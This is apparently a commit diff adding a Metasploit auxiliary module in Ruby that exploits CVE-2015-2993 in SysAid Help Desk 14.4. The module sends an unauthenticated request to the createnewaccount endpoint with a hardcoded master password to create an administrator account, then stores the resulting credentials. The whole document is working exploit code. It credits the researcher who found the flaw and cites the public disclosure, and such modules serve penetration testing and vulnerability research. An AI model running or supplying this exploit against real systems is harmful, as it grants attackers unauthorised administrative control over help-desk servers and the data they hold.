|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + include Msf::Auxiliary::Report |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'SysAid Help Desk Administrator Account Creation', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits a vulnerability in SysAid Help Desk that allows an unauthenticated |
| 18 | + user to create an administrator account. Note that this exploit will only work once. Any |
| 19 | + subsequent attempts will fail. On the other hand, the credentials must be verified |
| 20 | + manually. This module has been tested on SysAid 14.4 in Windows and Linux. |
| 21 | + }, |
| 22 | + 'Author' => |
| 23 | + [ |
| 24 | + 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module |
| 25 | + ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'References' => |
| 28 | + [ |
| 29 | + [ 'CVE', '2015-2993' ], |
| 30 | + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], |
| 31 | + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ] |
| 32 | + ], |
| 33 | + 'DisclosureDate' => 'Jun 3 2015')) |
| 34 | + |
| 35 | + register_options( |
| 36 | + [ |
| 37 | + OptPort.new('RPORT', [true, 'The target port', 8080]), |
| 38 | + OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']), |
| 39 | + OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']), |
| 40 | + OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']) |
| 41 | + ], self.class) |
| 42 | + end |
| 43 | + |
| 44 | + |
| 45 | + def run |
| 46 | + res = send_request_cgi({ |
| 47 | + 'uri' => normalize_uri(datastore['TARGETURI'], 'createnewaccount'), |
| 48 | + 'method' =>'GET', |
| 49 | + 'vars_get' => { |
| 50 | + 'accountID' => Rex::Text.rand_text_numeric(4), |
| 51 | + 'organizationName' => Rex::Text.rand_text_alpha(rand(4) + rand(8)), |
| 52 | + 'userName' => datastore['USERNAME'], |
| 53 | + 'password' => datastore['PASSWORD'], |
| 54 | + 'masterPassword' => 'master123' |
| 55 | + } |
| 56 | + }) |
| 57 | + if res && res.code == 200 && res.body.to_s =~ /Error while creating account/ |
| 58 | + # No way to know whether this worked or not, it always says error |
| 59 | + print_status("#{peer} - The new administrator #{datastore['USERNAME']}:#{datastore['PASSWORD']} should be checked manually") |
| 60 | + service_data = { |
| 61 | + address: rhost, |
| 62 | + port: rport, |
| 63 | + service_name: (ssl ? 'https' : 'http'), |
| 64 | + protocol: 'tcp', |
| 65 | + workspace_id: myworkspace_id |
| 66 | + } |
| 67 | + credential_data = { |
| 68 | + origin_type: :service, |
| 69 | + module_fullname: self.fullname, |
| 70 | + private_type: :password, |
| 71 | + private_data: datastore['PASSWORD'], |
| 72 | + username: datastore['USERNAME'] |
| 73 | + } |
| 74 | + |
| 75 | + credential_data.merge!(service_data) |
| 76 | + credential_core = create_credential(credential_data) |
| 77 | + login_data = { |
| 78 | + core: credential_core, |
| 79 | + access_level: 'Administrator', |
| 80 | + status: Metasploit::Model::Login::Status::UNTRIED |
| 81 | + } |
| 82 | + login_data.merge!(service_data) |
| 83 | + create_credential_login(login_data) |
| 84 | + else |
| 85 | + print_error("#{peer} - Administrator account creation failed") |
| 86 | + end |
| 87 | + end |
| 88 | +end |
0 commit comments